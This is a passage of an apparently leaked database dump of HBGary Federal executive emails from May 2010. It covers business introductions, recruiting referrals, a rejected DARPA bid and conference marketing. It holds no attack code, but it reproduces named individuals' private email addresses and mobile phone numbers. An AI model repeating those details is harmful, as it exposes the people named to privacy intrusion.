a call with Dan Ingevaldson, our COO who is working on NetD and Commercial applications for our cayman program.    CC\'d here.\r\n>>>>>> \r\n>>>>>> Thanks\r\n>>>>>> \r\n>>>>>> On May 3, 2010, at 3:42 PM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> Hey Chris,\r\n>>>>>>> \r\n>>>>>>> I was talking with Greg and Penny about Incident Response and they brought up a conversation they had with you a while back related to infected IP addresses you had visibility in to.  Are you interested in talking about how that data might be used to support Net Defense or Incident Response?  Right now developing a process for proceduralized incident response and finding the most effective methods.\r\n>>>>>>> \r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>> \r\n>>>> \r\n>>>> ---------------------------------\r\n>>>> Daniel S. Ingevaldson, COO\r\n>>>> Endgame Systems, LLC\r\n>>>> dsi@endgames.us\r\n>>>> (w)404-781-2955\r\n>>>> (f)404-781-2951\r\n>>>> (m)404-992-9449\r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n> ---------------------------------\r\n> Daniel S. Ingevaldson, COO\r\n> Endgame Systems, LLC\r\n> dsi@endgames.us\r\n> (w)404-781-2955\r\n> (f)404-781-2951\r\n> (m)404-992-9449\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3612,'aaron_hbgary_com/3612.html'),(6186,'2010-05-11','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004435.M68348P14101Q1039.eml','aaron@hbgary.com','May 18-19 AFCEA Critical Issues in C4I Conference','AFCEA SOLUTIONS Series - George Mason University Symposium\r\n\r\n*** CRITICAL ISSUES IN C4I ***\r\n\r\nMay 18-19, 2010\r\n\r\nGeorge Mason University, Fairfax, VA \r\n\r\n$175 for Government-Military-Academia\r\n$395 for Industry-Contractors\r\n\r\nhttp://www.afceasolutions.org\r\n\r\nCONFIRMED PLENARY SPEAKERS:\r\n--------------------------------------\r\n* VADM NANCY BROWN, USN (ret)\r\n* Dr. VINTON CERF, Vice President & Chief Internet Evangelist, Google, Inc.\r\n* Ms. DAWN MEYERRIECKS, Dep. Dir. of National Intel. for Acquisition and Technology, ODNI\r\n* LTG DENNIS VIA, USA, J6, The Joint Staff\r\n* Mr. DAVID WENNERGREN, DASD for Info. Mgmt. and Technology & DoD Deputy CIO\r\n\r\nFEATURED CONFIRMED PANELISTS:\r\n-----------------------------------------\r\n* Ms. MARIANNE BAILEY, Dir of the Joint DoD/IC Unified Cross Domain Management Office\r\n* Mr. EDMON BEGOLI, Researcher, Oak Ridge National Labs\r\n* Mr. GARY BLISS, Dir of Performance Assessments & Root Cause Analyses, OUSD for AT&L\r\n* Mr. BILL CRYAN, Chief, Collaborative Information Environment Management Office, JFCOM\r\n* Mr. TIM HARP, Dep Assistant Secretary of Defense for C4ISR/Information Technology Acq.\r\n* BG  PETER HOENE, PEO C2 Capabilities, DISA\r\n* Mr. BILL MARION, Chief Technology Officer, Air Combat Command (ACC/A6)\r\n* Mr. PETE O\'DELL, Founder, Swan Island Networks\r\n* Mr. BRIAN ROACH, Vice President, Juniper Networks\r\n\r\nThis combined SOLUTIONS Series/GMU C4I event will address many key challenges in the C4I space. In addition to a strong lineup of plenary speakers the conference will run two concurrent tracks. The SOLUTIONS Series track will take on the policy and operational issues surrounding the C4I space, while the GMU C4I Center track will dive deep into a rich set of specific technology topics. \r\n\r\nSESSION TOPICS INCLUDE: \r\n-------------------------------\r\n- Situational and Domain Awareness \r\n- Controlled Unclassified Information \r\n- Streamlining Certification/Accreditation \r\n- New Emerging Technologies \r\n- Counter-IED Initiatives \r\n- Acquisition of C4I Systems \r\n\r\nYour registration includes the joint plenary sessions, access to two parallel tracks, continental breakfasts, lunches, and snack breaks.\r\n\r\nJoin the SOLUTIONS Series Patron Program -- a great opportunity to receive enhanced corporate visibility both before and during the events. Contact Maureen Cirrito (mcirrito@afcea.org) for information.  \r\n\r\nLimited tabletop exhibit space available. Contact Scott Amos (samos@afcea.org) for details.  \r\n\r\nQuestions? - Contact Scott Amos at solutions@afcea.org\r\n\r\n\r\nTo be removed from our mailing list:\r\nhttp://www.afcea.org/remove.asp\r\n\r\n\r\n\r\n\r\n',1771,'aaron_hbgary_com/1771.html'),(6187,'2010-05-11','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297004435.M911986P14101Q1042.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Question','',5212,'aaron_hbgary_com/5212.html'),(6188,'2010-05-11','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297004436.M141314P14101Q1043.eml','aaron@hbgary.com','SIGNAL Webinar Series: Enabling Software-Powered Unified Capabilities Over the IP Cloud','\r\n\r\n\r\n\r\nYou are invited to participate i\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n		Response has been strong for this upcoming live\r\n		SIGNAL webinar.&nbsp;\r\n        Please register today at&nbsp;www.afcea.org/signal/webinar/default.asp\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n			\r\n				\r\n				\r\n					\r\n						\r\n						\r\n					\r\n					\r\n						\r\n						\r\n						\r\n						Enabling Software-Powered \r\n						Unified Capabilities Over the IP Cloud \r\n					\r\n				\r\n				\r\n			\r\n		\r\n		\r\n    \r\n  \r\n\r\n\r\n  \r\n  \r\n    \r\n      \r\n\r\n\r\n	\r\n		\r\n		Thursday, \r\n		May 20th, 2010\r\n		12:00 p.m. EDT / 9:00 a.m. PDT\r\n		\r\n		CLICK HERE TO REGISTER\r\n		for this FREE live web broadcast\r\n		\r\n			\r\n				\r\n					\r\n		\r\n		\r\n		\r\n				\r\n			\r\n			The \r\n			emergence of Unified Capabilities software platforms has brought \r\n			about a need for new telecommunications products to bridge next \r\n			generation voice/messaging products to legacy voice and video \r\n			systems. \r\n			\r\n			Assured Services – SIP (AS-SIP) technology provides the ability to \r\n			seamlessly move from these new real-time services platforms to the \r\n			existing technology that is installed in the DOD while still \r\n			allowing mission critical features like MLPP to exist over the IP \r\n			cloud. V.150 Universal Modem Relay further enhances this capability \r\n			adding Secure IP instruments, like the Sectéra® \r\n			vIPer™, to communicate with legacy FNBDT devices, like the STE. For \r\n			tactical users, these communications have to take place in locations \r\n			with severely limited bandwidth. These bandwidth restrictions can \r\n			only be overcome with efficient frame packing techniques to squeeze \r\n			the maximum efficiency out of the IP environment.\r\n			\r\n			Key points to be \r\n			discussed in this session include:\r\n			\r\n				\r\n				\r\n				Overview of emerging real-time capabilities and collaboration \r\n				platforms\r\n				\r\n				\r\n				Assured Services SIP as a gateway technology\r\n				\r\n				MLPP \r\n				over IP, providing mission critical voice over \r\n				the IP cloud\r\n				\r\n				New \r\n				Secure IP devices and how they work with \r\n				existing secure devices\r\n				\r\n				\r\n				Real-time services over limited, error prone or \r\n				high-delay connections\r\n			\r\n		\r\n		\r\n		\r\n		\r\n&nbsp;\r\n			\r\n				&nbsp;MODERATOR:\r\n				\r\n				\r\n				&nbsp;Bob Ackerman, \r\n				\r\n&nbsp;Editor in Chief, \r\n&nbsp;SIGNAL Magazine\r\n				&nbsp;SPEAKERS:\r\n				\r\n				\r\n				&nbsp;Brad Chalker,\r\n				\r\n				&nbsp;Director of Technical Marketing \r\n&nbsp;for N.E.T. Federal\r\n				\r\n&nbsp;Kevin Isacks,\r\n				\r\n&nbsp;Director of Product Management \r\n&nbsp;for N.E.T.\r\n				\r\n&nbsp;Rich Strand,\r\n				\r\n&nbsp;Senior Systems Engineer \r\n&nbsp;for N.E.T. Federal\r\n				&nbsp;WHO \r\n				SHOULD ATTEND:\r\n				&nbsp;Professionals \r\n				in the \r\n&nbsp;following fields:\r\n				&nbsp;4Network \r\n				Engineer\r\n				&nbsp;4Network \r\n				Program Manager\r\n				&nbsp;4Voice \r\n				Communications \r\n&nbsp;&nbsp;&nbsp;&nbsp; Engineer\r\n				&nbsp;4Tactical \r\n				Network Engineer \r\n				&nbsp;4Communications \r\n				Specialist\r\n			\r\n		\r\n		\r\n	\r\n\r\n		\r\n		\r\n    \r\n    \r\n	\r\n	\r\n		\r\n		\r\n			\r\n				\r\n				\r\n				CLICK HERE to \r\nregister!&nbsp;&nbsp;www.afcea.org/signal/webinar/default.asp\r\n			\r\n		\r\n		\r\n		\r\n		\r\n		\r\n\r\n\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org		\r\n				\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n\r\n\r\n			\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15461,'aaron_hbgary_com/15461.html'),(6189,'2010-05-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004439.M197890P14101Q1044.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: 451Group eCrime Report Published','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMight he be someone we are interested in ?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Donald Andy Purdy\r\n[mailto:dpurdy@csc.com] \r\nSent: Monday, May 10, 2010 12:10 PM\r\nTo: Penny Hoglund\r\nCc: Bryant Tow\r\nSubject: Re: 451Group eCrime Report Published\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\nHere is a great guy, bryant tow, who would be a tremendous addition to your\r\nteam. &nbsp;He has a current TS/SCI security clearance.\r\n\r\nAndy\r\n\r\nAndy\r\n\r\nDonald A. Purdy, Jr. Esq., CISSP\r\nChief Cybersecurity Strategist\r\nCyber HGMS\r\nCSC\r\n703 641 2176\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete\r\nwithout copying and kindly advise us by e-mail of the mistake in delivery.\r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC to any\r\norder or other contract unless pursuant to explicit written agreement or\r\ngovernment initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; From: &quot;Penny Leavy-Hoglund&quot; [penny@hbgary.com]\r\n&nbsp; Sent: 05/10/2010 10:41 AM MST\r\n&nbsp; To: Donald Purdy\r\n&nbsp; Subject: FW: 451Group eCrime Report Published\r\n\r\n&nbsp;\r\n\r\nHere you go\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7805,'aaron_hbgary_com/7805.html'),(6190,'2010-05-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004439.M584003P14101Q1045.eml','\"Charles Copeland\" <charles@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Xetron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo they still have an active eval?&nbsp; Aaron can tell you the\r\nname of the indidivual\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2973,'aaron_hbgary_com/2973.html'),(6191,'2010-05-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004439.M800352P14101Q1046.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Bob','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron wants an intro to Brad Behr and IOMaxis , can you\r\narrange?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',30,'aaron_hbgary_com/30.html'),(6192,'2010-05-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004440.M2224P14101Q1047.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Bob','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes.&nbsp; Brad could have biz for\r\nHBG Fed for mobile devices.\r\n\r\n&nbsp;\r\n\r\nHow about if I intro via email\r\nto start?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, May 11, 2010 11:45 AM\r\nTo: \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: Bob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron wants an intro to Brad Behr and IOMaxis , can you\r\narrange?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.819 / Virus Database: 271.1.1/2851 - Release Date: 05/11/10\r\n02:26:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',767,'aaron_hbgary_com/767.html'),(6193,'2010-05-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004440.M247514P14101Q1048.eml','brad@iomaxis.com,\"Aaron Barr\" <aaron@hbgary.com>','Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBrad and Aaron,\r\n\r\n&nbsp;\r\n\r\nI thought it could be useful for the two of you to know each\r\nother.&nbsp; Aaron Barr is the CEO of HBGary Federal, a new company that focuses on gov&#8217;t\r\nservices work, including classified work.&nbsp; Aaron was a Tech Director at Northrop\r\nGrumman.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron has people on his team with mobile and PDA\r\nexploitation expertise.&nbsp; Knowing this is a key focus for IOMAXIS we thought\r\nintroducing you to each other made sense.&nbsp; Aaron also has a significant\r\nexpertise and experience with social media, exploitation and persistent internet\r\noperations.\r\n\r\n&nbsp;\r\n\r\nContact info:\r\n\r\nBrad Buhr / 703-455-2555 / Mobile 703-310-8765\r\n\r\nAaron Barr / 719-510-8478\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7174,'aaron_hbgary_com/7174.html'),(6194,'2010-05-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004440.M515225P14101Q1049.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Bob','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, May 11, 2010 9:08 AM\r\nTo: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'\r\nSubject: RE: Bob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes.&nbsp; Brad could have biz\r\nfor HBG Fed for mobile devices.\r\n\r\n&nbsp;\r\n\r\nHow about if I intro via email\r\nto start?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, May 11, 2010 11:45 AM\r\nTo: \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: Bob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron wants an intro to Brad Behr and IOMaxis , can you\r\narrange?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.819 / Virus Database: 271.1.1/2851 - Release Date: 05/11/10\r\n02:26:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8508,'aaron_hbgary_com/8508.html'),(6195,'2010-05-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004441.M855834P14101Q1050.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: 451Group eCrime Report Published','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you interested?  Friend of Andy’s\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Donald Andy Purdy\r\n[mailto:dpurdy@csc.com] \r\nSent: Monday, May 10, 2010 12:10 PM\r\nTo: Penny Hoglund\r\nCc: Bryant Tow\r\nSubject: Re: 451Group eCrime Report Published\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\nHere is a great guy, bryant tow, who would be a tremendous addition to your\r\nteam. &nbsp;He has a current TS/SCI security clearance.\r\n\r\nAndy\r\n\r\nAndy\r\n\r\nDonald A. Purdy, Jr. Esq., CISSP\r\nChief Cybersecurity Strategist\r\nCyber HGMS\r\nCSC\r\n703 641 2176\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete\r\nwithout copying and kindly advise us by e-mail of the mistake in delivery.\r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC to any\r\norder or other contract unless pursuant to explicit written agreement or\r\ngovernment initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; From: &quot;Penny Leavy-Hoglund&quot; [penny@hbgary.com]\r\n&nbsp; Sent: 05/10/2010 10:41 AM MST\r\n&nbsp; To: Donald Purdy\r\n&nbsp; Subject: FW: 451Group eCrime Report Published\r\n\r\n&nbsp;\r\n\r\nHere you go\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8346,'aaron_hbgary_com/8346.html'),(6196,'2010-05-11','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297004442.M120140P14101Q1051.eml','aaron@hbgary.com','Regus : Network Update','\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n Email Template \r\n	\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n		\r\n\r\n			\r\n				\r\n				Regus : New Centre Alert \r\n \r\n				Regus opens new centre in Latin America’s economic hub\r\n				Sao Paulo in Brazil is home to a thriving services sector that includes a seventh centre soon to be opened by Regus. \r\n				\r\nBusiness tourism, particularly conferences, is just one of the city’s economic cornerstones. Knowledge-based industries, international banking, healthcare, energy and steel manufacture, and agriculture also contribute to this economic powerhouse. Find out more\r\n				\r\n				\r\n				 \r\n			\r\n					\r\n				This alert is brought to you by Regus.\r\n						 \r\n			\r\n								 \r\n				Regus Group plc and its subsidiaries (\"Regus Group\") respect your privacy and are committed to protecting it. If you no longer wish to receive our promotional communications, you may opt-out of them at any time by clicking Update Profile.  You can find out more by reading our privacy policy.\r\n  Regus plc (société anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street , St Helier, Jersey , JE4 8PX , Channel Islands Jersey Registered Number: 101523\r\n			\r\n\r\n\r\n		\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1772,'aaron_hbgary_com/1772.html'),(6197,'2010-05-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004442.M386291P14101Q1052.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Bob','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBrad called me back.&nbsp; He is\r\ntraveling this week, but would love to meet with Aaron next week.&nbsp; He said he\r\nwill call me tomorrow to set a time.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, May 11, 2010 12:19 PM\r\nTo: \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: RE: Bob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com]\r\n\r\nSent: Tuesday, May 11, 2010 9:08 AM\r\nTo: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'\r\nSubject: RE: Bob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes.&nbsp; Brad could have biz\r\nfor HBG Fed for mobile devices.\r\n\r\n&nbsp;\r\n\r\nHow about if I intro via email\r\nto start?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, May 11, 2010 11:45 AM\r\nTo: \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: Bob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron wants an intro to Brad Behr and IOMaxis , can you\r\narrange?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.819 / Virus Database: 271.1.1/2851 - Release Date: 05/11/10\r\n02:26:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.819 / Virus Database: 271.1.1/2851 - Release Date: 05/11/10\r\n02:26:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1498,'aaron_hbgary_com/1498.html'),(6198,'2010-05-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004442.M581974P14101Q1053.eml','\"Barr Aaron\" <aaron@hbgary.com>,dpurdy@csc.com','Introduction','Aaron,\r\n\r\nYesterday I had the pleasure of meeting Andy Purdy (cc\'d), when we\r\nwere seated next to each other on a flight to Sacramento, what are the\r\nodds?\r\n\r\nAndy would like to learn more about HBGary\'s TMC and our services\r\nincluding our offensive and influence capabilities.  Below is his\r\ncontact information:\r\n\r\nAndy Purdy\r\nChief Cyber Strategist, Esq., CISSP\r\nCSC\r\n\r\nOffice:  (703) 641-2176\r\nMobile:  (202) 486-0720\r\nEmail:  dpurdy@csc.com\r\n\r\nAndy, Aaron\'s cell phone is (719) 510-8478.  It was a pleasure meeting\r\nyou.  Good luck on your talk today!\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16364,'aaron_hbgary_com/16364.html'),(6199,'2010-05-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004442.M813587P14101Q1054.eml','\"Barr Aaron\" <aaron@hbgary.com>','DARPA','Dee Ann just handed me a letter from DARPA.  DARPA Cyber Genome TA-3\r\nwas rejected - not selected for funding.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',928,'aaron_hbgary_com/928.html'),(6200,'2010-05-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004443.M153513P14101Q1055.eml','\"Ted Vera\" <ted@hbgary.com>','Re: DARPA','Fuck\r\n\r\nSent from my iPad\r\n\r\nOn May 11, 2010, at 1:19 PM, Ted Vera  wrote:\r\n\r\n> Dee Ann just handed me a letter from DARPA.  DARPA Cyber Genome TA-3\r\n> was rejected - not selected for funding.\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',14169,'aaron_hbgary_com/14169.html'),(6201,'2010-05-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004443.M385504P14101Q1056.eml','\"Ted Vera\" <ted@hbgary.com>','Re: DARPA','It didn\'t say anything else?\r\n\r\n\r\nSent from my iPad\r\n\r\nOn May 11, 2010, at 1:19 PM, Ted Vera  wrote:\r\n\r\n> Dee Ann just handed me a letter from DARPA.  DARPA Cyber Genome TA-3\r\n> was rejected - not selected for funding.\r\n>\r\n> 